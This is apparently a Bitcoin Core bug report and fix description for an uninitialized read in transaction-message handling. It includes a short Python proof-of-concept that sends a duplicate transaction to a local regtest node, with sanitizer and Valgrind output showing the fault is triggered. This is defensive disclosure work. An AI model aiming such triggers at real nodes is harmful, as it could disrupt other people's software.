Fix an uninitialized read in ProcessMessage(…, "tx", …) when receiving a transaction we already have.
The uninitialized value is read and used on L2526 in the case of AlreadyHave(inv) == true.
Proof of concept being run against a bitcoind built with MemorySanitizer (-fsanitize=memory):
$ ./p2p-uninit-read-in-conditional-poc.py
Usage: ./p2p-uninit-read-in-conditional-poc.py <dstaddr> <dstport> <net>
$ bitcoind -regtest &
$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
SUMMARY: MemorySanitizer: use-of-uninitialized-value
[1]+ Exit 77 bitcoind -regtest
$
Proof of concept being run against a bitcoind running under Valgrind (valgrind --exit-on-first-error):
$ valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest &
$ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
==27351== Conditional jump or move depends on uninitialised value(s)
[1]+ Exit 1 valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest
$
Proof of concept script:
#!/usr/bin/env python3
import sys
from test_framework.mininode import NetworkThread
from test_framework.mininode import P2PDataStore
from test_framework.messages import CTransaction, CTxIn, CTxOut, msg_tx
def send_duplicate_tx(dstaddr="127.0.0.1", dstport=18444, net="regtest"):
network_thread = NetworkThread()
network_thread.start()
node = P2PDataStore()
node.peer_connect(dstaddr=dstaddr, dstport=dstport, net=net)()
node.wait_for_verack()
tx = CTransaction()
tx.vin.append(CTxIn())
tx.vout.append(CTxOut())
node.send_message(msg_tx(tx))
node.send_message(msg_tx(tx))
node.peer_disconnect()
network_thread.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: {} <dstaddr> <dstport> <net>".format(sys.argv[0]))
sys.exit(0)
send_duplicate_tx(sys.argv[1], int(sys.argv[2]), sys.argv[3])
Note that the transaction in the proof of concept is the simplest possible, but really any transaction can be used. It does not have to be a valid transaction.
This bug was introduced in #15921 ("validation: Tidy up ValidationState interface") which was merged in to master 28 days ago.
Luckily this bug was caught before being part of any Bitcoin Core release :)
